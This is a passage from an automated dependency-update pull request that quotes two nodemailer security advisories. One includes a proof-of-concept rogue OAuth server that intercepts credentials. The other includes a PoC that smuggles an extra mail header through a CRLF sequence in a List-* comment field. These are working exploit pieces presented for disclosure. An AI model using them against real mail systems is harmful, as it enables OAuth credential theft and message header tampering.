            'Content-Type': 'application/json'
        });

        res.end(JSON.stringify({
            access_token: 'attacker_token',
            expires_in: 3600
        }));
    });

}).listen(8443, () => {
    console.log('Malicious HTTPS OAuth server listening on 8443');
});
Nodemailer OAuth2 Test (test.js)
const nodemailer = require('./');

const transporter = nodemailer.createTransport({
    service: 'gmail',

    auth: {
        type: 'OAuth2',

        user: 'redacted@example.com',

        clientId: 'CLIENT_ID_REDACTED',
        clientSecret: 'CLIENT_SECRET_REDACTED',

        refreshToken: 'REFRESH_TOKEN_REDACTED',

        accessUrl: 'https://localhost:8443/token'
    }
});

transporter.sendMail({
    from: 'redacted@example.com',
    to: 'redacted@example.com',
    subject: 'PoC',
    text: 'test'

}, (err, info) => {

    console.log('\n==== NODEMAILER RESULT ====');

    if (err) {
        console.error(err);
    } else {
        console.log(info);
    }
});

Steps to Reproduce

  • Start malicious HTTPS OAuth server:
  • node poc/evil-oauth.js
  • Run Nodemailer OAuth2 test:
  • node test.js
  • Observe intercepted OAuth2 request body on the malicious HTTPS server.

PIC
image

Impact
  • OAuth credential theft
  • unauthorized email access
  • persistent token abuse
  • unauthorized mail sending
  • mailbox compromise
  • interception/tampering of OAuth responses

The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Nodemailer: CRLF injection in Nodemailer List-* header comments allows arbitrary message header injection

GHSA-268h-hp4c-crq3

More information

Details

Summary

Nodemailer constructs List-* headers from the caller-provided list message option using internally prepared header values. The list.*.comment field is inserted into those prepared values without removing CR (\r) or LF (\n) characters. Because prepared headers bypass the normal header-value sanitizer and are passed to mimeFuncs.foldLines(), a CRLF sequence in a list comment is emitted as an actual header boundary in the generated RFC822 message.

An application that lets a lower-privileged or unauthenticated user influence list.help.comment, list.unsubscribe.comment, list.subscribe.comment, list.post.comment, list.owner.comment, list.archive.comment, or list.id.comment can therefore be made to generate messages containing attacker-chosen additional headers.

Details

Source-to-sink evidence:

  • lib/mailer/mail-message.js:241-249 calls _getListHeaders(this.data.list) and adds each returned value with this.message.addHeader(listHeader.key, value).
  • lib/mailer/mail-message.js:253-296 builds each list header value as { prepared: true, foldLines: true, value: ... }.
  • For List-ID, lib/mailer/mail-message.js:272-279 copies value.comment into the generated header value. If mimeFuncs.isPlainText(comment) returns true, it wraps the comment in quotes rather than encoding or CRLF-normalizing it.
  • For the other List-* headers, lib/mailer/mail-message.js:283-288 copies value.comment into (<comment>). If mimeFuncs.isPlainText(comment) returns true, the value is not encoded or CRLF-normalized.
  • lib/mime-node/index.js:323-351 accepts the prepared header object.
  • lib/mime-node/index.js:533-540 trusts options.prepared; when foldLines is set, it pushes mimeFuncs.foldLines(key + ': ' + value) directly into the header block.
  • The normal header-value sanitizer path is bypassed because the value is marked prepared. By contrast, ordinary unprepared header values are normalized in the regular header-building path.
  • lib/mailer/mail-message.js:299-308 removes whitespace and angle brackets from list.*.url, so the confirmed injection source is the comment field, not the URL field.

Default/common exposure evidence:

  • lib/nodemailer.js:21-60 exposes the public createTransport(...).sendMail(...) flow used by the package.
  • examples/full.js:106-123 documents list.unsubscribe.comment and list.id.comment as normal message options.
  • The behavior is in shipped runtime code and does not require test-only code, non-default build steps, or undocumented internals.

False-positive screening and negative controls:

  • SMTP command construction was separately reviewed. Envelope sender/recipients reject CRLF before SMTP commands, EHLO names strip CRLF, SIZE is numeric, and DSN fields are encoded; no SMTP command-injection variant was confirmed.
  • Ordinary subject header input containing CRLF was normalized to a single Subject: header and did not create X-Injected in the local control case.
  • Address display names and MIME filename/content-type parameters were reviewed by a focused MIME/header audit and were encoded or CRLF-normalized in local checks.
  • prepared: true custom headers are an explicit low-level escape hatch, but this issue is different because Nodemailer itself creates prepared headers from the documented list.*.comment option.

Variant analysis:

Local testing confirmed the same root cause for comments in List-Help, List-Unsubscribe, List-Subscribe, List-Post, List-Owner, List-Archive, and List-ID. These should be fixed together by rejecting or normalizing CR/LF in list comments before prepared header generation, or by avoiding the prepared-header bypass for caller-controlled list values.

Affected version evidence and uncertainty:

  • Confirmed vulnerable: nodemailer 8.0.8 at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55.
  • Git history shows _getListHeaders present in historical commits including 22fcff8 (v4.3.0) and related list-header work in 9b4f90a (v3.1.8), but older versions were not dynamically tested during this audit.
  • Affected range is therefore recorded as unknown beyond the confirmed current version.
  • No patched version was identified in this checkout.

Severity rationale:

  • AV: The vulnerable library path is reached through application-level message submission in typical networked applications that use Nodemailer.
  • AC: A single CRLF sequence in a documented message option triggers the issue.
  • PR: Conservative assumption that the attacker is a lower-privileged user of an application that exposes list metadata fields. Some applications could expose this to unauthenticated users, but that was not assumed.
  • UI: No maintainer or victim interaction is needed after the application accepts the message object.
  • S: The impact remains in the application/mail-generation security scope.
  • C/I: Injected headers can affect message metadata, mail-client/filter interpretation, and downstream mail-pipeline decisions. No SMTP envelope recipient injection or code execution was demonstrated.
  • A: No availability impact was demonstrated.

Final self-review:

  • Reproduction evidence was generated locally from this checkout with a safe in-memory streamTransport PoC and a negative Subject control case.
  • The PoC is non-destructive and does not send network traffic outside the process.
  • The observed output contains an actual CRLF-delimited injected header line.
  • Reachability, sanitizer bypass, package exposure, variants, and non-exploitable sibling paths were checked as described above.
  • The affected range is not overclaimed; only the current tested version is confirmed vulnerable.
PoC

From a clean checkout of nodemailer at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55, run:

node <<'NODE'
'use strict';
const nodemailer = require('./');
const headersEnd = raw => raw.slice(0, raw.indexOf('\r\n\r\n'));
const hasStandaloneInjected = raw => /\r\nX-Injected: yes\)/.test(raw) || /\r\nX-Injected: yes\r\n/.test(raw);
(async () => {
  const transport = nodemailer.createTransport({ streamTransport: true, buffer: true });
  const positive = await transport.sendMail({
    from: 'sender@example.test',
    to: 'recipient@example.test',
    subject: 'control',
    list: { unsubscribe: { url: 'https://example.test/u', comment: 'ok\r\nX-Injected: yes' } },
    text: 'body'
  });
  const positiveRaw = positive.message.toString('utf8');
  console.log('POSITIVE_HAS_INJECTED=' + hasStandaloneInjected(positiveRaw));
  console.log('POSITIVE_LIST_LINE=' + JSON.stringify(headersEnd(positiveRaw).split('\r\n').filter(line => /^List-Unsubscribe:|^X-Injected:/.test(line)).join('\n')));

  const control = await transport.sendMail({
    from: 'sender@example.test',
    to: 'recipient@example.test',
    subject: 'safe\r\nX-Injected: no',
    text: 'body'
  });
  const controlRaw = control.message.toString('utf8');
  console.log('CONTROL_HAS_INJECTED=' + /\r\nX-Injected: no\r\n/.test(controlRaw));
  console.log('CONTROL_SUBJECT=' + JSON.stringify(headersEnd(controlRaw).split('\r\n').filter(line => /^Subject:|^X-Injected:/.test(line)).join('\n')));

  const variantKeys = ['help', 'unsubscribe', 'subscribe', 'post', 'owner', 'archive', 'id'];
  const result = [];
  

> ✂ **Note**
> 
> PR body was truncated to here.

@renovate renovate Bot requested a review from jimleroyer as a code owner October 7, 2025 14:16
@renovate renovate Bot added dependencies Pull requests that update a dependency file Renovate labels Oct 7, 2025
@renovate renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch 4 times, most recently from d9e36fe to d7abb68 Compare October 9, 2025 14:42
@renovate renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch 11 times, most recently from e80cdd0 to d133fa6 Compare October 23, 2025 17:07
@renovate renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch 5 times, most recently from f81890c to c4822c7 Compare November 5, 2025 19:10
@renovate renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch 4 times, most recently from 7e5d56e to 5b3e864 Compare November 12, 2025 20:27
@renovate renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 5b3e864 to 0bfbfff Compare November 13, 2025 22:27
@renovate renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch 8 times, most recently from 8d0a124 to f00f1e8 Compare November 26, 2025 20:12
@renovate renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch 6 times, most recently from cdba836 to 339c862 Compare December 3, 2025 16:55
@renovate renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch 10 times, most recently from 8bf07b2 to 8f16bd1 Compare December 11, 2025 19:44
@renovate renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch 4 times, most recently from 0022a51 to c553ebb Compare December 15, 2025 19:58
@renovate renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from c553ebb to 310b0dc Compare December 31, 2025 16:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file Renovate

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants